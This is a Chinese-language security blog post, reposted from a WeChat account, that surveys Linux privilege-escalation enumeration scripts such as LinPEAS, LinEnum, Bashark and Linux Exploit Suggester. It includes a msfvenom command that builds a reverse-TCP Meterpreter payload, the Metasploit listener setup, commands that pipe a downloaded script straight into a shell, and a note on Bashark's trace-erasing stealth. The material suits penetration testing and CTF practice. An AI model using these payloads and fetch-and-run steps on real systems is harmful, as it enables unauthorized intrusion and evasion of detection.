LInux 权限提升--脚本篇

admin 2021年3月8日02:57:36评论25 views字数 5446阅读18分9秒阅读模式

声明

本文仅供学习参考,请勿用作违法用途,否则后果自负

介绍

在多数时候,我们在获得Linux操作系统的shell时,会将其转换为TTY shell(可以理解为完全交互式的shell)或转成meterperter会话,此时的shell可以执行的操作有线,因此,我们需要找到可以提权的文件,目录,权限,日志和/etc/passwd文件,Linux中文件的数量时非庞大的,因此,手动排查时非常消耗时间的,如果有脚本可以完成,岂不是非常舒服。

权限提升搜集

  • 内核,操作系统版本,设备信息

  • 任何已安装或正在运行的易受攻击的软件包

  • 具有完全控制或修改访问权限的文件或文件夹

  • 映射驱动器

  • 日志文件

  • 网络信息

  • 防火墙状态和规则

  • 运行过程

  • 存储的凭证

  • sudo

  • Docker

  • 路径变量

  • 缓冲区溢出条件

  • 计划任务

获取一个shell

所有的工作都建立在你拿到了一个Linuxshell 的情况下,下面的介绍适合新手,熟悉使用msf 获取会话的师傅们可以跳过。
使用msfvenom 生成木马,这里-p 指定加载的payload,根据具体情况而定
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
启动metasploit,-q 命令是静默启动,
msfconsole -q
输入以下命令,执行监听的攻击模块,载荷,IP,端口
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp 
set lhost ip
set lport port
exploit
在目标主机上运行有效负载,即可获得一个会话。

脚本介绍

本次主要介绍的脚本有:LinPeAS 、LinEnum、Bashark、Linux-Exploit-Suggester、LinuxPrivChecker、Metasploit、Linux Private-i、Linux Smart Enumeration、Linux-Exploit-Suggester 2。

LinPeAS

GitHub链接:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

LinPeAS列举了Linux系统上提权的的可能存在的权限提升路径,作者目前在以下系统Debian、Centos、FreeBSD和OpenBSD中进行了测试,该脚本最大的好处就是对环境没有依赖型,不需要额外的环境搭建,可以在任何支持的格式sh中运行。

工具LinPeAS在默认情况下是被动收集信息的,不会向磁盘写入内容,也不会尝试通过su命令以其他用户身份登录,可以放心在目标主机运行。

LinPeAS在缺省情况下,需要大概2-10分钟时间才能完成(取决于请求的检查次数),如果在CTF中使用此工具,建议开启-a参数,这将进行所有检查。

参数介绍:

  • -a (所有检查):进程检查,su top2000 密码暴力破解。
  • -s (超快和隐身):绕过一些耗时的检查,并不会留下任何痕迹。
  • -P (密码):传递将与 sudo -l和Bruteforcing其他用户一起使用的密码
  • -h :帮助
  • -o :仅执行选定的检查、

LInux 权限提升--脚本篇

执行下面的命令即可执行检查
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
我在自己的主机上跑了下,本身是root模式 直接就提示YOU ARE ALREADY ROOT!!!

LInux 权限提升--脚本篇

第二部分为一些系统信息,其中红色部分表示可能存在权限提升

LInux 权限提升--脚本篇

这里就不全部展示了,脚本本身很强大,除了curl命令下载并运行脚本,还可以里一共攻击者计算机临时开放http端口,并让目标主机通过wget来传输脚本。

攻击者计算机

sudo python -m SimpleHTTPServer 80

目标主机

wget ip/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh

LinEnum

GitHub链接:https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

这个工具以前在做靶机的时候还用到过,挺方便的。LinEnum是一个shell脚本,其工作原理是从目标计算机提取有关提升特权的信息,支持实验报告工具,可以导出可读格式的扫描结果。

用法

  • 示例:./LinEnum.sh -s -k关键字-r report -e / tmp / -t

命令

  • -k输入关键字

  • -e输入导出位置

  • -t包括详尽的(冗长的)测试

  • -s提供当前用户密码以检查sudo权限(不安全)

  • -r输入报告名称

  • -h显示此帮助文本

LinEnum执行的检查/任务的高级摘要:

内核和发行版本的详细信息

系统信息

主机名,联网详细信息:当前IP,默认路线详细信息,DNS服务器信息

用户信息

当前用户详细信息,“最近登录的用户”,显示登录到主机的用户,列出所有用户,包括uid / gid信息,列出根帐户,提取密码策略和哈希存储方法信息,检查umask值,检查密码哈希是否存储在/中etc / passwd,提取“默认” uid的完整详细信息,例如0、1000、1001等,尝试读取受限制的文件(例如/ etc / shadow),列出当前用户的历史文件(即.bash_history,.nano_history等),基本SSH检查。

特权访问

哪些用户最近使用过sudo,确定是否可以访问/ etc / sudoers,确定当前用户是否具有不带密码的Sudo访问,可通过Sudo获得已知的“好的”突破二进制文件(即,nmap,vim等),root的主目录是否可访问,列出/ home /的权限

环境

显示当前的$ PATH,环境信息

工作/任务

列出所有cron工作,找到所有可写在世界各地的cron工作,找到系统其他用户拥有的cron作业,列出活动和不活动的systemd计时器

服务

列出网络连接(TCP和UDP),列出正在运行的进程,查找并列出进程二进制文件和关联的权限,列出inetd.conf / xined.conf内容和关联的二进制文件权限,列出init.d二进制权限

版本信息

Sudo,MySQL数据库,Postgres,Apache(检查用户配置,显示启用的模块,检查htpasswd文件,查看www目录

默认/弱凭证

检查默认/弱的Postgres帐户,检查默认/弱的MYSQL帐户

搜索:

找到所有SUID / GUID文件,找到所有世界可写的SUID / GUID文件,找到所有root拥有的SUID / GUID文件,找到“有趣的” SUID / GUID文件(即nmap,vim等),找到具有POSIX功能的文件,列出所有可写入世界的文件,查找/列出所有可访问的* .plan文件并显示内容,查找/列出所有可访问的* .rhosts文件并显示内容,显示NFS服务器详细信息,找到包含提供的关键字的* .conf和* .log文件在脚本运行时,列出/ etc中的所有* .conf文件,.bak文件搜索,查找邮件

特定于平台/软件的测试:

检查以确定我们是否在Docker容器中检查主机是否已安装Docker,检查以确定我们是否在LXC容器中
在这里,我们正在下载本地托管的LinEnum脚本,然后在提供适当的权限后执行它。目标主机, 可以配合上面的命令,打开一个临时的HTTP服务器

LInux 权限提升--脚本篇

剩下的就不一一介绍了,检测出可能存在权限提升颜色会变红。大家自己掌握即可。

Bashark

GitHub链接:https://raw.githubusercontent.com/redcode-labs/Bashark/master/bashark.sh

Bashark旨在帮助渗透测试人员和安全研究人员在Linux,OSX或Solaris Solaris Server的安全评估的开发后阶段。
Bashark的突出特点是它是一个bash脚本,这意味着它可以直接从终端运行。它速度快,不会使目标计算机超载。在外部计算机安装不需要任何特定依赖项。由于它在执行后抹去了它的存在,因此执行后很难被检测到。在这里,我们使用wget命令下载了Bashark,该命令在攻击者计算机上本地托管。然后使用chmod提供执行权限,然后运行Bashark脚本。它将提升您的Shell,使其能够执行不同的命令。
cd /tmp
wget ip/bashark.sh
chmod 777 bashark.sh
source bashark.sh

LInux 权限提升--脚本篇

在这里,我们使用getperm -c命令读取nano,cp上的SUID位并在其他二进制文件中查找。Bashark还使用getconf命令枚举了所有常见的配置文件路径。
getperm -c

LInux 权限提升--脚本篇

getconf

LInux 权限提升--脚本篇

LES: Linux特权升级审核工具

这个大家都不陌生,该工具还旨在帮助安全测试人员或分析人员测试Linux计算机的潜在漏洞和提升特权的方式。
LES的基本工作是根据内核版本生成漏洞利用列表,然后检查每种漏洞利用的特定标签。     

快速下载:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
chmod 777 les.sh
./les.sh

LInux 权限提升--脚本篇

可被利用的漏洞
LInux 权限提升--脚本篇

LinuxPrivChecker

GitHub Link: https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py

这是一个在LInux系统上运行的python的脚本,以枚举基本系统信息并搜索通用提权方法。他支持搜索可写文件,错误配置、明文密码和适用的利用。还提供一些可能存在提权的路径,这些都可以在提升特权的同时发挥关键作用,它从基本系统信息开始:内核版本,主机名,操作系统,网络信息,运行服务等。

安装命令

pip install linuxprivchecker
python3 -m linuxprivchecker -w -o linuxprivchecker.log

LInux 权限提升--脚本篇

Metasploit: Local_Exploit_Suggester

这个不用介绍了吧, 基于Metasploit的一个模块,可以用于检查与其他脚本一样提升特权的方法,它所需要的只是在被利用目标上运行的会话标识符号。它将列出系统易受攻击的各种漏洞。
use post/multi/recon/local_exploit_suggester
set session 2
exploit
这个工具在kali中自带,可以直接启动。上面的命令需要先获取一个session

‍‍LInux 权限提升--脚本篇

Linux Private-i

GitHub链接:https://raw.githubusercontent.com/rtcrowley/linux-private-i/master/private-i.sh

Linux Private-i是一个Linux枚举和特权升级工具,该工具可以自动执行基本枚举步骤,并以易于阅读的格式显示结果。脚本有四个选项,包括全面检查、基本信息输出、运行基本的生命周期检查,

工具使用

chmod 777 private-i.sh
./privcate-i.sh
下面故意配置错误的文件和权限,检测出目标机器/etc/passwd为可写,

LInux 权限提升--脚本篇

Linux Smart Enumeration

GitHub 链接: https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh

linux-smart-enumeration项目来自我们上面提到的LinEnum,脚本用于渗透测试和CTF的Linux提权枚举工具,工具的作用与其他脚本相同,它具有3个级别的详细信息,因此您可以控制看到的信息量。使用绿色来标识可能存在提权向量。

工具使用

chmod 777 lse.sh
./lse.sh
脚本开始会询问是否知道用户密码,以此来检查sudo特权,工具检查用户组、路径变量等。

 

LInux 权限提升--脚本篇

还有之前错误配置的文件/etc/passwd
LInux 权限提升--脚本篇
更多的功能,大家自己研究。

Linux Exploit Suggester 2

GitHub Link: https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl

脚本在LES的基础上做了很大的改进,包括更多的漏洞利用,可以直接从Exploit DB 下载漏洞利用代码,精准的匹配,它扩大了可搜索漏洞的范围,更利用查看的颜色。

工具使用

chmod 777 linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl

LInux 权限提升--脚本篇

总结

无论是渗透还是学习,希望这些脚本都可以对你起到很大的帮助。

 

原文始发于微信公众号(想走安全的小白):LInux 权限提升--脚本篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月8日02:57:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LInux 权限提升--脚本篇https://cn-sec.com/archives/886024.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息